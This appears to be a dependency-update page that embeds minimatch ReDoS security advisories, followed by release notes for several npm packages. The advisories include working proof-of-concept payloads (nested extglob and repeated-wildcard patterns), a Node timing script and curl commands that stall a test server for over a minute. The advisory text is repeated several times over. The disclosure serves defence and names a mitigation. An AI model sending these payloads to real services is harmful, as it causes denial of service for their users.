[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
minimatchis vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive*wildcards followed by a literal character that doesn't appear in the test string. Each*compiles to a separate[^/]*?regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.The time complexity is O(4^N) where N is the number of
*characters. With N=15, a singleminimatch()call takes ~2 seconds. With N=34, it hangs effectively forever.Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each
*becomes[^/]*?in the generated regex. For a pattern like***************X***:/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/When the test string doesn't contain
X, the regex engine must try every possible way to distribute the characters across all the[^/]*?groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) โ exponential.Impact
Any application that passes user-controlled strings to
minimatch()as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
๐จ minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Commits
See the full diff on Github. The new version differs by 3 commits:
โ๏ธ ms (indirect, 2.1.2 โ 2.1.3) ยท Repo
Release Notes
2.1.3
Patches
- Rename zeit to vercel: #151
- Bump eslint from 4.12.1 to 4.18.2: #122
- Add prettier as a dev dependency: #135 #153
- Use GitHub Actions CI: #154
Credits
Huge thanks to @getsnoopy for helping!
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 6 commits:
โ๏ธ node-releases (indirect, 1.1.73 โ 2.0.36) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ npm-run-path (indirect, 4.0.1 โ 6.0.0) ยท Repo
Release Notes
6.0.0
Breaking
Improvements
5.3.0
5.2.0
5.1.0
5.0.1
- Fix a typo 5ae23bc
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
6.0.0Meta tweaksHandle empty `PATH` better (#21)Make it idempotent (#20)Run tests on Windows (#22)TweaksUpgrade Node.js version and dependencies (#19)5.3.0Add `preferLocal` and `addExecaPath` options (#18)5.2.0Meta tweaksAllow `execPath` to be a file URL (#16)5.1.0Allow `cwd` option to be a `URL` (#15)5.0.1Fix a typo5.0.0Require Node.js 12.20 and move to ESMMove to GitHub Actions (#12)
โ๏ธ object-inspect (indirect, 1.11.0 โ 1.13.4) ยท Repo ยท Changelog
Release Notes
1.13.4 (from changelog)
Commits
1.13.3 (from changelog)
Commits
- [actions] split out node 10-20, and 20+
44395a8- [Fix]
quoteStyle: properly escape only the containing quotes5137f8f- [Refactor] clean up
quoteStylecode450680c- [Tests] add
quoteStyleescaping testse997c59- [Dev Deps] update
auto-changelog,es-value-fixtures,taped5a469c- [Tests] replace
audwithnpm auditfb7815f- [Dev Deps] update
mock-property11c817b
1.13.2 (from changelog)
Commits
- [readme] update badges
8a51e6b- [Dev Deps] update
@ljharb/eslint-config,tapeef05f58- [Dev Deps] update
error-cause,has-tostringtag,tapec0c6c26- [Fix] Don't throw when
globalis not definedd4d0965- [meta] add missing
engines.node17a352a- [Dev Deps] update
globalthis9c08884- [Dev Deps] update
error-cause6af352d- [Dev Deps] update
npmignore94e617d- [Dev Deps] update
mock-property2ac24d7- [Dev Deps] update
tape46125e5
1.13.1 (from changelog)
Commits
- [Fix] in IE 8, global can !== window despite them being prototypes of each other
30d0859
1.13.0 (from changelog)
Commits
- [New] add special handling for the global object
431bab2- [Dev Deps] update
@ljharb/eslint-config,aud,tapefd4f619- [Dev Deps] update
mock-property,tapeb453f6c- [Dev Deps] update
error-causee8ffc57- [Dev Deps] update
tape054b8b9- [Dev Deps] temporarily remove
auddue to breaking change in transitive deps2476845- [Dev Deps] pin
glob, since v10.3.8+ requires a brokenjackspeak383fa5e- [Dev Deps] pin
jackspeaksince 2.1.2+ depends on npm aliases, which kill the install process in npm < 668c244c
1.12.3 (from changelog)
Commits
1.12.2 (from changelog)
Commits
1.12.1 (from changelog)
Commits
- [Tests] use
mock-property4ec8893- [meta] use
npmignoreto autogenerate an npmignore file07f868c- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tapeb05244b- [Dev Deps] update
@ljharb/eslint-config,error-cause,es-value-fixtures,functions-have-names,taped037398- [Fix] properly handle callable regexes in older engines
848fe48
1.12.0 (from changelog)
Commits
- [New] add
numericSeparatorboolean option2d2d537- [Robustness] cache more prototype methods
191533d- [New] ensure an Errorโs
causeis displayed53bc2ce- [Dev Deps] update
eslint,@ljharb/eslint-configbc164b6- [Robustness] cache
RegExp.prototype.testa314ab8- [meta] fix auto-changelog settings
5ed0983
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 65 commits:
v1.13.4[Tests] fix tests in node v6.0 - v6.4[Fix] avoid being fooled by a `Symbol.toStringTag`[Dev Deps] update `es-value-fixtures`, `for-each`, `has-symbols`v1.13.3[Fix] `quoteStyle`: properly escape only the containing quotes[Refactor] clean up `quoteStyle` code[actions] split out node 10-20, and 20+[Tests] add `quoteStyle` escaping tests[Tests] replace `aud` with `npm audit`[Dev Deps] update `auto-changelog`, `es-value-fixtures`, `tape`[Dev Deps] update `mock-property`v1.13.2[readme] update badges[Dev Deps] update `@ljharb/eslint-config`, `tape`[Fix] Don't throw when `global` is not defined[Dev Deps] update `globalthis`[Dev Deps] update `error-cause`[Dev Deps] update `error-cause`, `has-tostringtag`, `tape`[meta] add missing `engines.node`[Dev Deps] update `npmignore`[Dev Deps] update `mock-property`[Dev Deps] update `tape`v1.13.1[Fix] in IE 8, global can !== window despite them being prototypes of each otherv1.13.0[Dev Deps] update `error-cause`[Dev Deps] temporarily remove `aud` due to breaking change in transitive deps[New] add special handling for the global object[Dev Deps] pin `glob`, since v10.3.8+ requires a broken `jackspeak`[Dev Deps] update `mock-property`, `tape`[Dev Deps] update `tape`[Dev Deps] pin `jackspeak` since 2.1.2+ depends on npm aliases, which kill the install process in npm < 6[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`v1.12.3[Fix] in eg FF 24, collections lack forEach[Dev Deps] update `@ljharb/eslint-config`, `aud`, `error-cause`[Dev Deps] update `aud`, `es-value-fixtures`, `tape`[actions] update rebase action to use reusable workflow[Tests] add `@pkgjs/support` to `postlint`v1.12.2[meta] add support info[Fix] ignore `cause` in node v16.9 and v16.10 where it has a bug[Fix] use `util.inspect` for a custom inspection symbol methodv1.12.1[Fix] properly handle callable regexes in older engines[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `@ljharb/eslint-config`, `error-cause`, `es-value-fixtures`, `functions-have-names`, `tape`[Tests] use `mock-property`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`v1.12.0[meta] fix auto-changelog settings[New] ensure an Errorโs `cause` is displayed[Dev Deps] update `eslint`, `@ljharb/eslint-config`[Robustness] cache more prototype methods[New] add `numericSeparator` boolean option[Robustness] cache `RegExp.prototype.test`1.11.1[meta] add `sideEffects` flag[meta] add `auto-changelog`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[actions] update codecov uploader[Dev Deps] update `eslint`, `tape`[Refactor] use `has-tostringtag` to behave correctly in the presence of symbol shams
โ๏ธ object.assign (indirect, 4.1.2 โ 4.1.7) ยท Repo ยท Changelog
Release Notes
4.1.7 (from changelog)
- [Deps] add missing
es-object-atoms(#86)
4.1.6 (from changelog)
- [Refactor] use
call-bounddirectly; usees-object-atoms- [Deps] update
call-bind,has-symbols- [Dev Deps] update
@es-shims/api,@ljharb/eslint-config,hasown,mock-property,ses,tape- [actions] split out node 10-20, and 20+
- [actions] remove redundant finisher
- [Tests] replace
audwithnpm audit
4.1.5 (from changelog)
- [meta] republish without testing HTML file (#85)
- [Deps] update
call-bind,define-properties- [Dev Deps] use
hasowninstead ofhas- [Dev Deps] update
@es-shims/api,@ljharb/eslint-config,aud,npmignore,mock-property,tape- [actions] update rebase action
4.1.4 (from changelog)
- [meta] fix
npmignoreintegration (#83)
4.1.3 (from changelog)
- [Refactor] make steps closer to actual spec
- [Refactor] simplify object coercible check
- [readme] remove defunct badges, add coverage and actions badges
- [eslint] ignore coverage output
- [meta] use
npmignoreto autogenerate an npmignore file- [meta] remove audit-level
- [Deps] update
call-bind,define-properties,has-symbols- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,aud,functions-have-names,safe-publish-latest,ses,tape- [actions] use
node/installinstead ofnode/run; usecodecovaction- [actions] reuse common workflows
- [actions] update codecov uploader
- [Tests] add implementation tests
- [Tests] use
mock-property- [Tests] disable posttest pending
audhandlingfile:deps- [Tests] migrate remaining tests to Github Actions (#81)
- [Tests] gitignore coverage output
- [Tests] test node v1-v9 on Github Actions instead of travis; resume testing all minors (#80)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 63 commits:
v4.1.7[Deps] add missing `es-object-atoms`v4.1.6[Deps] update `call-bound`[Dev Deps] update `ses`[Refactor] use `call-bound` directly; use `es-object-atoms`[Deps] update `call-bind`, `has-symbols`[Dev Deps] update `@es-shims/api`, `tape`[actions] split out node 10-20, and 20+[Dev Deps] update `mock-property`[Tests] replace `aud` with `npm audit`[Dev Deps] update `tape`[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`[Dev Deps] update `hasown`[actions] remove redundant finisher[Deps] update `call-bind`[Dev Deps] update `aud`, `hasown`, `tape`v4.1.5[Dev Deps] update `npmignore`[Deps] update `call-bind`, `define-properties`[Dev Deps] use `hasown` instead of `has`[Dev Deps] update `mock-property`, `tape`[Dev Deps] update `tape`[Dev Deps] update `tape`[Dev Deps] update `aud`[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`[Deps] update `define-properties`[Dev Deps] update `@es-shims/api`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[actions] update rebase action[Dev Deps] update `aud`, `tape`[Dev Deps] update `tape`v4.1.4[meta] fix `npmignore` integrationv4.1.3[Refactor] make steps closer to actual spec[Tests] add implementation tests[meta] use `npmignore` to autogenerate an npmignore file[Tests] use `mock-property`[Deps] update `define-properties`[Dev Deps] update `@ljharb/eslint-config`, `functions-have-names`[Deps] update `has-symbols`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `tape`[Refactor] simplify object coercible check[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[Dev Deps] update `eslint`, `tape`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `safe-publish-latest`, `tape`[Tests] disable posttest pending `aud` handling `file:` deps[actions] update workflows[actions] update codecov uploader[meta] remove audit-level[Deps] update `has-symbols`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[readme] remove defunct badges, add coverage and actions badges[actions] use `node/install` instead of `node/run`; use `codecov` action[eslint] ignore coverage output[Deps] update `call-bind`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `functions-have-names`, `ses`, `tape`[Dev Deps] update `ses`[Tests] migrate remaining tests to Github Actions[Tests] gitignore coverage output[Tests] test node v1-v9 on Github Actions instead of travis; resume testing all minors
โ๏ธ object.values (indirect, 1.1.4 โ 1.2.1) ยท Repo ยท Changelog
Release Notes
1.1.7 (from changelog)
Commits
1.1.6 (from changelog)
Commits
- [actions] reuse common workflows
4072b71- [meta] use
npmignoreto autogenerate an npmignore file6881278- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,array.prototype.map,safe-publish-latest,tape28c21e6- [Dev Deps] update
